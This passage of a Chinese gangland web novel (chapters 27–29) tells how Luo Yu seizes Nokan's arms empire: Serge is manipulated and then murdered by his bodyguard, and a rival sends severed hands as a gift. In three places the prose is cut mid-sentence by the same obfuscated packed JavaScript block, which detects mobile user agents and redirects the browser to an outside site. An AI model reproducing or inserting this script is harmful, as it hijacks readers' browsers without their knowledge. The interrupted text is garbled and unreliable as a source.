这样的场面,年长的医生们早已看惯。这次稍有不同的是死者的身份有些敏感。医院方面从病人入院后就处理得非常小心,注意将这名病人和家属与其他患者尽量隔离开来。不得不说这样做非常明智,否则以现在瑟杰这样的精神状态,难保不出乱子。 罗誉帮着史蒂文控制住瑟杰,带到先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615105|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前休息的病房中,强制给他来了一针镇静剂…… 诺坎的死讯在一天之内,传遍了整个东南亚。作为这片土地上的无冕之王,一股极其重要的地方势力,他的死亡有着极其深沉复杂的意味。 老诺坎走得如此突然,甚至没来得及留下遗言。道上的人都知道他有一个儿子,但这个儿子,似乎不太像被培养好了的样子……要不是他在医院的失态,诺坎的死讯也不至于第一时间被坐实,被泄露,被传开得这么快。 第三天,瑟杰以诺坎独子的身份,召开元老会宣布诺坎死讯。与会众人虽早已得知这一消息,也还是不免唏嘘一番。这里面绝大部分的人是跟着诺坎一刀一枪地闯过来的,情谊不可谓不深重。讨论起诺坎的丧事,几位元老一把年纪也还是积极参与,想要为老朋友扶灵。 瑟杰看着诸位元老的反应,心下稍松。他担心元老们会趁势生乱,以他现在的资历,会很难弹压。如今看到元老们情深意重,先前的担心和猜忌显得有些多余。 然而,瑟杰高兴的太早了。 治丧的话题结束后,进入到“继承”的话题。然而瑟杰还没说几句,就有一位元老站了出来。 向来有话直说的丹佐先生发话:“公司”可从来不是讲的父死子继的规矩。“公司”的董事长是诺坎没错,但“公司”从来不是诺坎的私产,“公司”的生意是大家伙儿的,而不是诺坎一个人的,不能拿来“继承”。瑟杰想做“公司”的董事长,也得凭自己的本事,通过董事会的选举。 好家伙!要用“公司”论,瑟杰在“公司”中甚至从未曾任职过,更遑论有什么战绩?这要怎么通过选举? 瑟杰当即傻眼。 果然,之后的各方势力都开始蠢蠢欲动。 瑟杰是怎么也没想到,六位元老中,最后竟然只有辛迪瓦先生一力支持他,其他五人都对他不太认同。 丹佐先生的态度居然还不是最糟糕的。以他为首,共计四位元老都认为只要瑟杰让他们能看到具备当“公司”掌舵人的能力,甚至潜力也行,他们就愿意给他选票。如果这真是一个股份制公司,他们的做法不可谓不民主,不随和了。 更棘手的是最后一位长老,苏拉猜。苏拉猜其人,在诺坎尚在时就心高气傲不服管,难为诺坎地位稳固,他被压得死死的。现如今没人能再压他头上,自然有了别的心思。 丹佐说的,想做“公司”的董事长,就凭自己的本事。苏拉猜自认在“公司”内部,他战绩彪炳,也颇有人望,而在“公司”之外,他背后也有了大靠山。那个帕朗人脉广,路子野,会是他苏拉猜极大的助力。如果他能帮自己做上董事长,对“司令”也会是个好消息。 丹佐先生那四位,虽说墙头草,但好歹还能沟通协商,拉扯一番各自做点妥协和让步,可苏拉猜就不行了。人家的胃口,不是妥协一点利益出来就能满足的,人家是奔着独吞去的。 瑟杰焦头烂额,一筹莫展。 罗誉安慰他,丹佐先生那边,罗誉可以替他去斡旋,稳住这群老狐狸。这种琐碎细腻的事情不是瑟杰擅长的,也不符合瑟杰的本心,就交给他去做。瑟杰就专心对付那个苏拉猜就好。支持瑟杰的辛迪瓦先生也站出来说,诺坎对他有恩,他可以为了瑟杰,和任何人为敌。 现实的发展简直犹如脱缰的野马,瑟杰措手不及。在老诺坎的葬礼上,苏拉猜打响了第一枪,字面上的意思。于是一场隆重的葬礼埋葬了更多人的性命。瑟杰和苏拉猜至此不死不休。 就这样,不仅仅是联邦国内,整个东南亚的地下势力都开始明里暗里地联动起来。战局拉扯,粘粘糊糊地争斗了两年,双方都损失惨重。苏拉猜最后逃往海外,从此音讯全无,生死不知。而辛迪瓦先生……很不幸,他的势力在两年中也消耗殆尽。苏拉猜逃亡前派人刺杀,辛迪瓦先生遇害。 27. 第 27 章 罗誉坐在别墅廊下,微风吹过,掀起他的刘海,露出光洁的额头。一副窄边金丝墨镜架在高挺的鼻梁上,深紫色的镜片将他的眼睛遮住,却又在阳光下透出隐隐约约的一线轮廓,平日里深邃冷峻的眉眼此时难得显得温柔神秘。 侍女为他捧来一盆水果,偷偷抬眼看了看他的侧脸,不敢再造次,站起身来悄无声息退了出去。 丹佐先生垂手站在罗誉两三个身位后,用余光瞥了一眼发育良好的侍女离去的背影,而眼前的罗誉全无反应,暗暗叹息,男人连这点最基本的弱点都没有,到底是好事还是坏事? 撑起一个温良的笑容,丹佐微微弯腰,对罗誉汇报:“苏拉猜的船一进公海,就沉了。” 罗誉头也没回,冷淡地问:“看见他尸体了?” “路易先生放心。我们的人在沉船之前给他打了一针,就算不沉船,他也活不过十分钟。” 罗誉不置可否。 丹佐继续汇报:“辛迪瓦的葬礼安排在下周三,瑟杰坚持要以子侄礼去祭拜。” 罗誉依旧冷淡:“随他吧,苏拉猜已经逃亡了,他的安全也没有直接威胁了。作为晚辈,这种姿态也有利于他的形象。” “可是……他执子侄礼,您到时候也不得不陪他……”丹佐小声嘀咕,显得很不甘心。 罗誉这才回头,对丹佐勾起一抹笑,“有什么不对吗,丹佐叔叔?我们不都是你们的子侄么?” 丹佐一怔,随即心中狂喜,翘起的嘴角压不住。很多时候下属想要的真不多,只是绝大多数的老板连那一点点都不想给。 员工的情绪价值得到大幅度提升,工作的主观能动性也瞬间拔高,丹佐先生现在颇具主人翁精神。“真是不容易啊!我们精心部署了四年多,两年前我们在葬礼上引动苏拉猜和瑟杰鹬蚌相争,如今终于把两家都耗光了,胜利在望啊!您看,接下来怎么安排瑟杰呢?” 罗誉没有第一时间回答,他转过头又看向花园,草木葱茏,更远处是山脚下漂亮的沙滩和海岸线,细小的浪花翻起,就和蕾丝花边一样精巧可爱。头顶蓝天白云,阳光正好,远眺是黛蓝的大海,天地间干净得没有一丝尘埃和阴霾。 “让Steven去吧。” 丹佐弓腰应声:“好的。” 日光下的大海,温柔灿烂,镶着一圈细碎的花边,月光下的大海,则深沉清冷,海风也透着凉意瘆人。 瑟杰站在船头,握着船舷的手指用力,指尖被挤压得苍白变形。他收到可靠消息,老对头苏拉猜今晚会出海跑路。 他必须来亲眼看着苏拉猜狼狈的样子,他必须亲手抓住他,把这老不死的押到辛迪瓦叔叔的葬礼上,让他跪在辛迪瓦叔叔的灵前,用他的血,祭奠辛迪瓦叔叔! 两年了,整整两年的时间,瑟杰没有睡过一天的好觉。老诺坎去世之后,他就一直不顺,做什么都不顺。幸好有小罗这些好兄弟在身边,也幸好有辛迪瓦叔叔的鼎力支持,否则他坚持不到今天。只可惜,辛迪瓦叔叔没能等到最终的胜利到来,就被苏拉猜这老不死的暗害了!辛迪瓦叔叔,你放心,苏拉猜这老东西一定跑不了! 苏拉猜在不知不觉间已经成了瑟杰的一块心病。这老头刁钻狡猾,下手狠辣。辛迪瓦虽然全力帮瑟杰,奈何瑟杰不擅长玩心眼,辛迪瓦也是个“莽就完了”的主儿,两人没少在苏拉猜手上吃亏。好容易等到今日,苏拉猜就要完蛋了,瑟杰很是有种守得云开见月明之感。 史蒂文从后面走上来,给瑟杰披上一件外套。 瑟杰扭头问:“还要多久?” 史蒂文微笑回答:“快了。就在前面。有一条去公海的船会经过那儿,他们会换到那条大船上。我们的人已经确定了,老东西已经在前往指定地点的路上,我们直接去堵他。” 瑟杰笑得血腥,“很好。” 果然没过多久,在前方水域出现了一艘小游艇,上面的人很警惕,发现瑟杰的船后,就似乎想跑。瑟杰怎么可能放过。大手一挥,就想下令全速追击。反倒是史蒂文压住他的手,从容地用无线电接通对方船只,语气相当玩世不恭地问:“兄弟,知道哪儿有红鱼么?我兜了一晚上没见着!” 对面无线电静默了会儿,回了一个字:“滚!” 接着,史蒂文让船兜了个小圈子,先绕开对面的船,让对方以为他们已经离开了,但实际上,他们兜出不远,就又拐去接头地点。两艘小游艇就这样,在夜晚的海上开始了捉迷藏的小游戏,简直就是缠缠绵绵到天涯海角的节奏。 一路兜兜转转,瑟杰的衣服早已被时而溅起的水浪湿透,可他顾不得这些。 前面的船里是狼狈逃窜的死对头,只差一点点就可以抓住,这种时候只有咬死不放这一个选择! 苏拉猜那老东西现在一定也不好过!就是不能让他好过! 不一会儿,在不远处的海面上出现一束灯光。瑟杰凝目看去,是一艘渔船。不用史蒂文说明,瑟杰就猜到,这就是老东西要换的船。 游艇猛然拉起速度,全速向渔船靠拢。 瑟杰能够看到,前面的小艇已经靠在渔船边上,有人正在往渔船上登船。或许是发现了他们的靠近,登船的人明显加快了速度。 瑟杰的船飞速靠近。前方小艇的人一登上渔船,小艇就一个转向,加速朝瑟杰的船冲来,显然是来干扰的。史蒂文带上的船员也有几分本事,准确地预判了对面小艇的意图和轨迹,轻松避过,靠近了渔船。 上到渔船似乎也没有特别难,渔船上的人并没有做多少抵抗,一个个老实巴交地被赶到一处蹲下,只是里面没有苏拉猜。 瑟杰盯着这些人,心头火起。怎么会没有苏拉猜? “他一定躲在哪个角落!我们刚刚都看到他上船了,对吧,Steven!”瑟杰大吼。 “冷静点儿,Serge。”史蒂文的声音很稳。 “快把他找出来,Steven!快!”瑟杰难以平静,暴躁地捏着拳头砸在船舷上。 史蒂文来到他的身边,一手扶上他的肩,柔声说:“Serge,冷静,你很快就能见到他,我保证。” 瑟杰飞快地转身面朝史蒂文,正要继续大吼,却倏然僵住。他睁大眼睛,有些茫然和诧异地看着史蒂文,而后缓缓低下头。 他的血正从肋骨间汩汩流出,此时,那里正插着一把银色的小刀。瑟杰知道它很锋利,当年在合众国的小酒馆后巷中,它轻松斩下过几截成年男子的前臂。如今,它被插在自己的肋间,而他在中刀的时候几乎没有察觉到疼痛。 快速而大量的失血,让瑟杰感受到了虚弱和寒冷,他开始微微发抖。抬起头,再次看清面前的这张脸,他只觉得不可思议!史蒂文不是我的保镖么?他想。 在过去的数年中,他是他最忠诚的保镖,最亲密的兄弟,他们同甘共苦,共渡难关,一路闯关走到这里,他们即将打败对手,获得胜利,大权在握……怎么会? 史蒂文有些遗憾地啧了一声。他在某些方面有些完美主义。这一刀,原本是照着脾脏捅的,可刚才瑟杰太激动,动得太厉害,入刀的时候终究是差了两分。 对于今晚的差事,他已经隐隐地期待了好久。罗誉一直了解,今晚派他来,也是成全了他的夙愿。史蒂文很兴奋,整个晚上心脏都在砰砰跳着,存在感从未如此强烈。能在这样的一场大戏中,出演这样一个重要的角色,是他莫大的荣幸! 瑟杰的手,颤颤巍巍地扶上史蒂文持刀的手腕,扣住。可是太虚弱了,抓不紧。史蒂文的手轻轻一抽,刀刃从皮肉中一点点抽出,没有遇到任何阻力。 瑟杰被带得一晃,双腿一软跪倒在史蒂文面前。他艰难地想要抬头怒视这个不称职的保镖,斥责他的背叛,但是一点力气也提不起来。喉间嗬嗬地挣扎了半晌,瑟杰终于问出了句完整的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615106|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你为什么……这么对我?” 史蒂文叉开两条长腿蹲下,身材高大的缘故,蹲下后还是要微微俯视瑟杰。他一手搭上瑟杰的头,像个大哥哥一样揉了揉瑟杰的头发,就像从未下刀一样,柔声说:“我应该怎么对你呢?Serge,你在我眼里就是个弟弟。” 这话如果不是亲昵,那就只能是侮辱。 瑟杰无力的眼神变得凄厉。他把他当兄弟,人家却当他是垃圾! 史蒂文仿若未见,自顾自说下去:“诺坎把我安排到你身边,我知道是什么意思。他看得起我,觉得我还不错,希望我成为你未来的班底,为你铺路。但是……”史蒂文垂头把玩着手里的猛虎刀,轻描淡写地说出最冰冷的话,“你有这个资格么?” 一阵眩晕席卷而来,瑟杰的意识逐渐模糊,他捂着伤口缓缓软倒,眼前一片模糊。不甘心,太多的不甘心,他不能就这么认输! “你……向……谁……效忠?” 史蒂文站起身,走向一旁。 “你……向谁……”不得到这个答案,瑟杰闭不上眼睛! 他想伸出手,抓住那个正在走开的男人的裤腿,质问他!你到底向谁效忠?谁是你真正的主人?如果我没有资格,那么会是谁! 然而现实里,他什么也做不了。他的面色已经苍白如纸,呼吸急促,心率似乎也加快了许多。冷,身体本能地打着寒战,不可抑制。 瑟杰平时并不讲究,但现在他竟然觉得自己会不会太不体面了些。难道这样去见自己的父亲吗?父亲栽培了他这么多年,他却输得一败涂地,死都不知道自己究竟死在谁的手上。 意识逐渐模糊。他感觉到有两个高大的男人又走了过来,似乎在他的腿上绑了绳子。然后,他被人从腋下托起上半身,拖拽了一段距离。瑟杰的脑子越转越慢,他已经不觉得伤口疼了,周围的一切也更飘渺了,他心想,这样的脑子还不如不要算了。 史蒂文的手下找来了一个压仓的沙袋,史蒂文倒是也不挑剔这些,让手下把东西绑在瑟杰的腿上,将他拖起来搭在船舷边上。 史蒂文走过来,他是个严谨的人,他要亲自动手。 手掌按在瑟杰背心,史蒂文在瑟杰的耳边说出最后一句话:“小弟弟,你的愚蠢就在于,你从未意识到,Louie比你更值得追随。” 说罢,将瑟杰推落海中。 黑漆漆的大海,立刻吞噬了落水的人,水面上什么也没有留下。这世上仿佛什么都没有发生,从没有存在过这样一个人。 海风吹得史蒂文略长的金发翻飞着,他盯着水面看了一小会儿,喉结微动。很难形容他现在的心情。 史蒂文其实无所谓做的到底是保镖还是杀手,他对杀人还是救人都没有什么心理负担,他在乎的只有一件事:自己的老板究竟是个什么样的人。在他心里,这直接关系到自己是个什么水准的定位。还是那句话,他是匹烈马,拒绝废物骑他头上。 刚到瑟杰身边时,他就看不上这个小子,或许做个酒肉朋友是可以的,但要做他的老板,这是绝对不行的。他本想直接走人,却发现瑟杰身边那个叫Louie的少年似乎更有趣。他留了下来,想看看到底是不是自己的错觉,如果天生是老板,又怎会愿意给一个废物打工呢? 他没有看错。酒馆后巷那件事后,罗誉的蜕变简直让人惊艳。有了鲜血的加持,他的眼神里多了一些更华丽的色彩。也是从那时起,他毅然决然地投入罗誉的麾下,真心实意地称呼他为“boss”,即便罗誉比他年纪小了许多,他也满不在乎。 罗誉所能触达的高度,瑟杰绝对望尘莫及。 这是史蒂文给罗誉的评价,也是他下注豪赌的底气。 电话接通,史蒂文笑出八颗牙,对那头说:“Boss,任务圆满完成。” 二十岁的罗誉,接手诺坎原部,成为东南亚地区最大的军火商。 28. 第 28 章 深夜,花冠皇庭大酒店套房楼层的走廊尽头,消防通道门突然被打开一条缝隙,门后露出一只锐利的眼睛,确认门外无人后,此人迅捷地打开门,悄无声息地闪身而出。 这人身着全套的酒店服务员制服,从门后又拉出一架送餐车,上面放着几盘餐点,用亮闪闪的金属餐盘盖盖着。送餐车的车轮碾在酒店走廊的高档地毯上,没有发出一丝声音。 男人从消防通道门后走出的那一刻起,他的动作就显得无比从容,若不细看,还真像是一名受过严格训练的酒店服务人员。不过细看之下,手腕上的名表和脚上的顶奢皮鞋都显露出来人的身份绝不是普通人。 这位神秘的男子推着送餐车来到总统套房S888门口,按下门铃。一小会儿后,房门从内部打开,门内门外对话了几句,神秘男子推着送餐车进入房内。 总统套房门内,来人一进门,史蒂文就从背后“咔哒”一声关上了套房门。来人仿若未闻,面上微笑不变,举起双臂让史蒂文检查,确认没有武器之后,将送餐车推到客厅中停好,侧过身来,对着办公桌后的罗誉浅浅躬身行礼。 “路易先生,深夜叨扰了,万望海涵呐!”帽檐下是一张皮肤略显松弛的脸,嘴角微微勾起,法令纹明显,但胡须打理得很讲究,平时可能就常挂笑脸,此时说话也甚是客气。他说着话,摘下帽子,露出真容,是一位四十左右的男士,文质彬彬,气宇轩昂。 没等罗誉给出反应,来人主动做起了自我介绍:“鄙人姓谢,是吴先生的私人助理。您叫我老谢就行。” 罗誉对这位不速之客很冷淡,靠在椅背上,面朝窗外,看都不看老谢一眼,问道:“有何贵干?” 老谢对遭受的冷遇早有预料,不以为意,谦恭地说明自己的来意。“早前吴先生经人介绍,联系到了路易先生,吴先生深知路易先生在业内享有盛誉,声名远播,因而对与路易先生建立合作关系充满期待,并对此抱有很高的期望。” 在他背后的史蒂文听到这儿已经开始不耐烦,他最受不了这种毫无营养的套路,说了半天全是废话,一点信息量都没有。 老谢顿了顿,看罗誉仍然没有反应,也不冷场,继续说道:“正因为对此次合作的重视,吴先生特意在大华当地请了一位颇有名望的代理人,请他全权负责路易先生的接待和对接工作,希望能以最高的规格接待路易先生,让您能有宾至如归的感受。”说到这里,老谢的嗓音往下压了几度,深沉地继续说道:“只可惜,这位代理人朱大雷辜负了吴先生的美意。我们也是在不久前才知道,原来朱大雷在和贵方的对接过程中是如此怠慢,三番四次拖延双方见面的安排,以至于我们到今天才有幸见到路易先生。” 罗誉不为所动,转过头来问史蒂文:“朱大雷是谁?” 史蒂文干巴巴地回答:“就是和我约行程那老小子。哦,对了,就是在别墅被绑成粽子那家伙。” 罗誉闻言点点头表示知道了,随即嗤笑出声。 史蒂文接收到罗誉的信号,立刻默契地把话头接过去,替自家老板开麦吐槽:“重视?重视还找个二道贩子,生怕没有中间商赚差价?” 他们这些特殊行业,确实也会存在交易双方不见面,请代理人负责的情况,但通常代理人会找道上有头脸,信誉佳的人,且这类交易都不会是太重要的生意。老谢这么说,大家都心知肚明,不过是推卸责任,把锅硬甩给不相干的人罢了。 老谢很有种唾面自干的气度,在如此尴尬的时点上,能被派来的人,想来也确实不能是个普通人。 老谢两手交叠,放在身前,仿佛没有听到史蒂文的吐槽,“更糟糕的是,这次竟然发生了一些意外,甚至惊动了大华的警方。请相信,这是我们未曾预料到的严重事故。也正是因为这次事件,才让朱大雷的问题暴露了出来,让吴先生得以了解。朱大雷这人,在国内占了点不该占的便宜,得罪了一些人。这次是有人向朱大雷寻仇,不料波及了路易先生。”说着,老谢万分遗憾地摇摇头说道,“真是无妄之灾啊,路易先生,吴先生深表歉意。” 史蒂文百无聊赖地靠在了墙上,语气毫无起伏地吐槽:“好遗憾啊!真是抱歉!我对你的遭遇感同身受,可是我也是无辜的,我没有办法,请你原谅我吧……这种话我也经常说给被我甩掉的女孩儿们听。” 老谢一哽,不过迅速地调整过来。他一侧身,让出身侧的送餐车,对罗誉继续说:“路易先生,吴先生从来不是一个只说不做的人。所以这次我来,也并不是空手,我们为路易先生准备了一份小礼物,请路易先生笑纳。” 说着,揭开了一个大餐盘上的餐盘盖。 餐盘上是一个精美考究的盒子,老谢上前,将其面朝罗誉,缓缓打开。 罗誉转过头,垂眼看去。 盒子里是一双女人的手掌。手指纤细白嫩,上面还有个嵌宝戒指,不是一双需要干活的手,显然这手的主人出身不错。 房间里没有人大惊小怪。他们都不是没沾过血腥的人,不会为了这点东西就一惊一乍。 老谢解说道:“对于朱大雷在我们合作中自作主张,拖延合作,伺机从中牟利之举,以及因他私人原因,祸及贵方的结果,吴先生极为震怒。为此,他特意请了朱大雷的女儿朱倩小姐,来向路易先生表达诚挚的歉意,以及,我们双方继续合作的诚意。” 房间内很安静,酒店提供的熏香缓缓燃烧,细细的烟雾袅袅向上,飘散于无形。 罗誉的视线从盒子上挪开,他抬起眼。从老谢进门后,他终于第一次看向了老谢。出乎老谢的预料,那双眼睛里的神色,并不是敬畏、慎重,或者窃喜,反倒是满满的讥嘲和轻蔑。 “说完了你就可以回去了。回去给你的吴先生带个话,就说路易先生告诉他,不会有后续的合作了。”罗誉高傲地说道,俨然就是一位霸道总裁的范儿。 老谢非常意外,一瞬间有些慌乱。“可是……这……路易先生,不要冲动,有什么问题我们都可以商量……” “在生意上,我从不冲动。”罗誉从办公桌上随手拿了支钢笔在手上把玩,轻描淡写地说道,“你今晚来不来,都无关紧要。这是在你来之前,我就已经做下的决定。和你们吴先生合作的过程过于艰辛,我对后续合作已经完全丧失了信心。跟你们谈生意太缺乏性价比,在商言商,我觉得两家没有合作的必要。” “哈哈哈哈哈!”S888的房门再一次被“咔哒”一声关上,史蒂文就大笑着跳进沙发里,“你看见了么?那个老谢,我终于明白中文里形容的‘灰溜溜’到底是什么意思了哈哈哈哈!” 罗誉却并不见轻松半分,他摘了眼镜,揉着山根,眉心皱成川字。“Steven,‘公司总部’那边真的没有问题么?” 史蒂文从沙发中抬起头来,“嗯,一切正常。怎么了?” 罗誉认真地看着他说:“我们接下来会有一段时间,都在大华警方的注视之下,无法出境,行动受限。我们对总部,包括联邦那边的情况无法第一时间做出有效的反应。” 史蒂文从沙发中坐起身来,也认真了一点,回应说道:“我知道,你想说鞭长莫及。不过总部那边确认没有异状,丹佐先生让你放心。你知道的,丹佐先生对你有多忠诚,不瞒你说,要不是查过他的私生活,我都怀疑他把你当成他的私生子。” 罗誉叹了口气,又问:“帕朗那边?” 史蒂文抱着一个抱枕垫在胸前,又趴到沙发上,又开始懒洋洋,“他那边最近联系了几个老朋友,在约下个月度假去海钓的事。还给‘司令’送了几个女人。别的就没有了。” 罗誉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615107|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧锁眉头,他始终觉得有哪里不太对。吴先生想尽办法将自己留在这里,一定有什么图谋,后续必定会有安排的后手。越是风平浪静,后面的风雨也就越暴烈,罗誉相信自己的预感,问题是他暂时还看不透许多事情。 “我说,Louie,我的兄弟,你为何总是如此忧愁。开心点儿,伙计!”史蒂文在柔软的沙发上打了个滚,大长腿搭在扶手上,长出老远。“当年我们在合众国,离总部也是那么遥远,还不是远程控制得很好?我还记得你那时候都还没开始长胡子,在远程会议里三言两语把对面那些老头子们压制得死死的,没人敢说半个‘不’字。没出半年,他们就对你死心塌地,唯你马首是瞻。你忘了么?难道你觉得自己现在还不如当初更有掌控力?” 那些年,他们都风华正茂,精彩的人生刚刚开始,至今仍然是一段美好的经历。史蒂文每每回忆起来,依然会不自觉地沉醉其中。人这一生很短暂,许多人一辈子都不会有如此精彩的片段,拥有的人可以从中获得巨大的成就感。 罗誉想说,这不一样,当年是我们在暗处算计别人,现在是我们在被人算计。可他知道说出来也没用,改变不了史蒂文的想法,他才不想理会这里面的差别呢,反正就是跟人斗呗! “再说了,这会儿我们在大华,离联邦很近嘛,真有什么事出紧急,就算偷渡,不管是水路还是陆路,也都不是难事,花不了多少时间。”史蒂文觉得才多大点事儿,“现在既然一切正常,我们和吴也不谈生意了,接下来就当放个假,等大华警察查明不是我们干的不就好了,反正确实不是我们干的。” 罗誉看着在沙发上打滚的史蒂文,沉默了半晌,叹息道:“别傻了,Steven,这里是大华,我们经不起调查。” 豪华别墅地下层的会客区,没有开灯。这里只有侧边一个小天井能够提供一部分光照,天井空间很小,还种了一排竹子,更遮挡了大部分的阳光。即便是在白天,别墅的落地玻璃再大,阳光也难以触达地下层的室内,以至于,这里看起来有些阴沉。 一个男人站在西餐岛台边。他刚刚亲自动手,煎好了一块牛排。肉是最新鲜的纯种安格斯牛排,上午刚从澳洲空运过来。经过简单的腌制调理,再用黄油那么一煎,鲜嫩,柔软,多汁。 最顶级的牛肉,就应该配上最好的波尔多。高脚杯和餐盘规整地放置在餐巾上,男人将刀叉也逐个擦亮,整齐地码放在餐盘边,按照严格的规制,仿佛这就是一场一个人参加的盛宴。 被他摘掉的围裙此刻已被扔在地上 ,晚些时候会有人收拾走。用过的围裙,他从不用第二次。 他开始坐下来,享用他的美味。男人一丝不苟地切割,将肉放进嘴里,认真地咀嚼和品味,最后咽下,切割另一块…… 老谢站在下首,离岛台数米远。他没有资格再上前一步了。此时的老谢完全没有了在酒店时的从容和体面,他站在足有三米多高的水晶吊灯正下方,如坐针毡,噤若寒蝉。 这间别墅内其实还有不少人,可是别墅总是非常安静。没有人敢打扰吴先生,后果严重到不敢想。 吴先生吃东西很优雅,西餐礼仪在他身上体现得不能叫淋漓尽致,或许应该说是“严丝合缝”会更为妥帖。他的节奏几乎没有变化,非常规整,似乎有着强迫症一般。 他叉着最后一块牛排,把盘子里的酱汁刮了刮,送进嘴里,咀嚼后咽下。然后拿起了手边没动过的红酒杯,凑到唇边,将杯中红酒一饮而尽。吴先生半阖着眼睛,让红酒在口中滚过几轮,才顺着喉咙喝下。 美味,从头到尾都很美好。 突然!吴先生将手中空了的高脚杯狠狠甩在地上!玻璃迸溅开来。老谢即便站在远处,也不由得吓得一哆嗦,险些跪在地上。 没有人能承受吴先生的怒火。 29. 第 29 章 魅影夜都夜总会,正如它的名字,这里是个夜夜笙歌,群魔乱舞的地方,用“纸醉金迷”或者“酒池肉林”来形容一点也不为过。每天一到太阳落下,这里就开始热闹起来。男男女女们在这里寻求短暂的快乐,和极致的刺激,脱下白天的人皮,在这里痛快地回归妖魔的本性,不必有所顾忌。 豪华包厢内,马鹏飞一杯一杯地灌着酒,这里是他的产业,也是目前他除了住的别墅外,仅有的一处产业了。他的女人艳姐温温柔柔地在一旁为他续杯。她跟了马鹏飞好几年了,明白这种时候,马鹏飞并不想要她怎样,保持安静,顺从,就可以了。这也是她能够跟随马鹏飞这么多年的原因,不懂的女人后来都消失了,而她,稳稳的艳姐。 马鹏飞很烦,今年开年到现在,什么都不顺利。警方上半年的“平安行动”打掉了他几个点,损失了一大批白货,伤到元气,近期就有几伙人开始不安分,都在盘算趁机吞了他。几次暗斗下来,他吃亏不小,不少的地盘和生意被瓜分,手上的势力急剧收缩,现如今只有魅影夜都还在手里。这很可怕,他已经很久没有这么慌张了。 以往不是没有过手头紧的时候,弟弟马程飞那仨瓜俩枣放在平日里他是看不上眼的,可关键时刻,掉个头也是好的。是以这次,他也想到了请弟弟帮帮忙,等过了难关,他要星星,哥哥都摘最亮的给他。 为此,他特意打听到了可靠的消息,一头肥羊,看着就是那种性价比拉满的货色。对于弟弟来说,这种毫无难度,手到擒来,缺乏挑战性。但对于现在的马鹏飞来说,这不就是他最需要的补血包么! 之所以说消息可靠,因为是“吴先生”给的。近几年“吴先生”的名号日渐响亮,成了道上公认的神秘大佬。马鹏飞本人还没有见过吴先生,但他知道吴先生的势力已经很大,且涉猎很广,几个新贵就是因为背靠吴先生,才迅速起家,站稳脚跟。马鹏飞一直很眼馋,早就开始积极攀附吴先生的人,希望也能获得他老人家的青眼,从而平步青云,更上一层楼。 这一次就是他向吴先生的心腹老谢求助,老谢给他指的路。他欢天喜地地将消息告诉了弟弟马程飞。马程飞一开始还不信,说论情报,怎么也得是鼠爷那边最齐全。结果外头自己打听了一番,发现肥羊是真的,而且吴先生的情报更细致更精确,就连鼠爷那边的也被比下去了。 马程飞也确实想帮衬着点哥哥,平日里要不是哥哥给他撑腰,他搞不好早被人套麻袋扔洱海里去了。不管是从什么角度来说,哥哥不能倒。于是马程飞也赶紧行动起来。 马鹏飞本以为十拿九稳的事儿,可谁曾想,弟弟竟然莫名其妙就被抓了!打听来的消息过分荒谬,他差点想给汇报的小弟一个大比兜。什么叫让一个老妖婆锤进派出所了?什么叫麻崽儿那小子让小马哥给□□了?这都什么跟什么? 马鹏飞都觉得奇怪,自己抗压能力属实不错,到现在竟然也没有心梗。一大杯酒水一口闷下,辛辣火烧一路从喉头烧进胃里头,只可惜烧不完的心烦意乱。 艳姐又给满上一杯,节奏刚刚好。马鹏飞垂眼看了看身边的女人,说来也是挺久了,还是他俩最合拍。这女人聪明的刚刚好,只够把心思用在他身上争宠,没能耐染指他的生意,刚刚好。 “艳艳呐!你马哥我要是哪天栽了跟头……” 艳姐打断他,“马哥,说什么呢!还不快呸呸呸!”艳姐知道这男人的小心思,他自己会跟你说得大度,但你决不能真有什么想法,你必须哄着他,顺他毛,昧着良心也得闭着眼瞎吹,把他捧上天去,否则这货小心眼的很。 “艳艳啊,还得是你!”马鹏飞显然对艳姐的反应非常满意,这女人果然满心满眼都是我。他撑开手臂,将艳姐搂紧。“可惜啊,这次你马哥我是真的犯难了。年初那两批货接连被抄,窟窿太大,本指望你小马哥帮把手,谁知道他阴沟里翻船,都像是我亲手把自己弟弟送进去的一样。” 艳姐适时地用羊脂白玉一样的小手抚着马鹏飞的胸口,安慰道:“小马哥的事儿,那是阴差阳错,这不怨马哥。马哥你说过,出来混就是把脑袋栓裤腰上,小马哥这回是走了背字儿,可好歹他不至于被枪毙,以后咱们常去看看他就是了。倒是马哥你,可不能消沉了,你得好好的,小马哥不管在里头,还是出来后,都还指望着你呢。我们这些人不也都指望着你么?” 艳姐这朵解语花就是这么对马鹏飞的味!人长得漂亮,话也说得好听! 